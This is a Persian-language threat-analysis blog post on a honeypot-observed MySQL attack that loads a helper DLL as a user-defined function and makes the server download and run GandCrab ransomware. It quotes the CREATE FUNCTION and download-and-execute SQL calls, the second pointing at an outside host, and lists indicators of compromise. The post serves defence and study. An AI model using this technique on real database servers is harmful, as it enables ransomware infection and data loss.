کسی (کسانی) در حال حمله به پایگاههای دادهای ویندوزی قابل دسترس روی اینترنت با استفاده از بدافزار GandCrab هست (هستند).
ما با اجرای یک honeypot در محیط آزمایشگاهی، در حال نظارت بر portهای پیشفرض پایگاه داده SQL بودیم (3306/tcp(. در همین حین با یک حمله جالب از ماشینهایی از ایالت متحده آمریکا مواجه شدیم.
ما همزمان شروع به پایش (monitor) رفتار و ترافیک شبکهای ایجاد شده توسط honeypot کردیم. ما با دیدن دانلود شدن یک فایل ویندوزی قابل اجرا توسط honeypot که روی یک سیستم گنو/لینوکسی در حال کار بود شکه شدیم.
حمله کننده با استفاده از دستورات پایگاه داده ابتدا یک helper DDL کوچک را بارگیری کرد. در نهایت با استفاده از فراخوانی آن به عنوان یک تابع پایگاه داده، توانست برنامه (payload) بدافزار GrandCrab را که روی یک سرور به آدرس کانادا میزبانی میشد، دریافت کند.
هیچ آسیبی به honeypot نرسید ولی احساس کردیم که ذات این حمله ارزش یک پست و مقاله را دارد.
توضیح حمله SQL
مرحله اول از حمله مربوط به اتصال حمله کننده به پایگاه داده و ایجاد یک خط ارتباطی ثابت روی پایگاه داده MySql بود. در آزمایشگاه ما honeypot یک سرور MySql شبیه سازی کرده بود. ادامه حمله نسبتا ساده و راحت بود.
در ادامه، حمله کننده با استفاده از دستور set
اقدام به بارگذاری (Upload) تمامی بایتهای مربوط به helper DLL کرد. رشته طولانیای که در تصویر زیر قابل مشاهده است، در یک متغیر داخل حافظه قرار میگیرد.
در نهایت حمله کننده اقدام به نوشتن محتوای موجود در متغیر، روی جدولی از پایگاه داده که قبلا ایجاد نموده بود به نام yongger2 کرد.
حمله کننده با استفاده از دستوراتی روی سرور باعث شد تا بایتهای موجود به یک دیگر متصل شده و در داخل یک پرونده (file) ذخیره شوند و این فایل را در پوشه پلاگینها ذخیره نمود. همچنین در این حین ما در حال نظارت بر آن بودیم. متوجه شدیم که چندین / و \ به منظور گذر از ابزارهای امنیتی استفاده شده است.
به نظر میرسید که DLL سه تابع به پایگاه داده به نامهای xpdl3، xpdl3_deinit و xpdl3_init اضافه مینماید. همچنین مشاهده شد که یک پرونده شامل تعداد زیادی از جعبه ابزارهای (toolkits) آلوده است که قبلا بارگذاری شده است.
حمله کننده در این فاز اقدام به drop کردن جدول yonggger2 کرد و همچنین در راستای حذف recordهای مسیر فایلهای روی سرور و همچنین حذف تابع xpdl3 اقدام به ارسال دستورات جدید کرد. در ادامه دستور زیر را برای ایجاد تابع پایگاه داده کرد که پرونده DLL را حذف نماید.
CREATE FUNCTION xpdl3 RETURNS STRING SONAME 'cna12.dll'
پس از بارگذاری کامل helper DLL در پایگاه داده و در نهایت پوشه plugin و راه اندازی اولیه آن، اقدام به حذف تابع xpdl3 که به تازگی ایجاد شده بود کرد.
select xpdl3('hxxp://172.96.14.134:5471/3306-1[.]exe','c:\\isetup.exe')
[نکته: لینک بالا به دلیل عدم کلیک شدن تغییر یافته است. مقدار صحیح در تصویر زیر مشخص است.[
اگر همه چیز به درستی کار کند )که در این محیط درست بود)، سرور پایگاه داده اقدام به بارگیری (download) بدافزار GrandCrab از ماشین راه دور مینماید و آن را در شاخه اصلی C: با نام isetup.txt مینماید و آن را اجرا میکند.
این حمله چقدر شایع است؟
حملات مربوط به پایگاه داده چیز جدیدی نیست. مقالههایی قبلا در این زمینه نوشته شده است. پیوند مقاله
حملهای که شرح داده شد تنها در عرض چند ثانیه در شنبه ۱۹ می اتفاق افتاد. اگر این حمله روی یک پایگاه داده واقعی اتفاق میافتاد، پایگاه داده رمز شده بود و از صاحب آن به مشکل خورده بود.
اما نشانی اینترنتی که پرونده مخرب از آن گرفته میشود میبایست بررسی شود. این آدرس به یک پوشه باز روی یک سرور وب در حال اجرا بود که به آن HFS میگویند که بر وب سرور آن بر پایه ویندوز است که به صورت یک برنامه تنها است.
نکته جالبی که درباره آدرس IP که پرونده مخرب را ارائه میدهد این است که از لحاظ موقعیت مکانی در آریزنا (Arizona) است. در منطقه کویر جنوب غربی ایالات متحده آمریکا و کاربری که آن را استفاده کرده است به زبان چینی از آن استفاده میکند.
نکته جالب دیگری که درباره آن وجود دارد، میزان نمایش تعداد بارگیری هر پرونده در آن صفحه است.
در این صفحه ۵ پرونده قابل اجرا روی ویندوز مشاهده میشود که نام آنها با 3306- شروع میشود. در واقع تمام آنهایی که با یک - در ادامه دارند بازنویسی شده همان پرونده اصلی هستند. تنها پرونده 3306.exe
از دیگر پروندهها متفاوت است.
استفاده از نام 3306 برای نام پروندهها احتمالا تصادفی نیست.
در پوشه نمایش داده شده، یک پرونده elf که پرونده اجرایی روی گنو/لینوکس است وجود دارد که در این حمله مورد استفاده قرار نگرفته است.
به نظر میرسد سرور نشان دهنده بارگیری بیش از ۵۰۰ مرتبهای از نمونهای است که MySql روی honeypot
بارگیری کرد (پرونده 3306-1.exe
).
هرچند پروندههایی با نامهای 3306-2.exe
، 3306-3.exe
و 3306-4.exe
پروندههای یکسانی هستند. با جمع زدن تعداد بارگیریها چیزی در حدود ۸۰۰ مرتبه بارگیری انجام شده در تنها پنج روز از زمانی که در این سرور قرار داده شدهاند، اتفاق افتاده است. همچنین چیزی در حدود ۲۳۰۰ مرتبه بارگیری از دیگر پرونده شامل GandCrab چیزی در حدود یک هفته است.
لذا با توجه به این آمار میتوان نتیجه گرفت این یک حمله گسترده و خاص نیست لذا یک ریسک جدی برای مدیران پایگاه دادههای MySqlای که از طریق دیوار آتشین دسترسی به خارج دارند، نیست.
IoCs
GandCrab samples
c83bf900eb759e5de5c8b0697a101ce81573874a440ac07ae4ecbc56c4f69331
017b236bf38a1cf9a52fc0bdee2d5f23f038b00f9811c8a58b8b66b1c756b8d6
“cna12.dll” helper
1f86561ca8ff302df2a64e6d12ff530bb461f9a93cf9b7c074699e834f59ef44
Hosts
172.96.14.134:5471 (GandCrab host)
148.72.171.83 (MySQL attacker)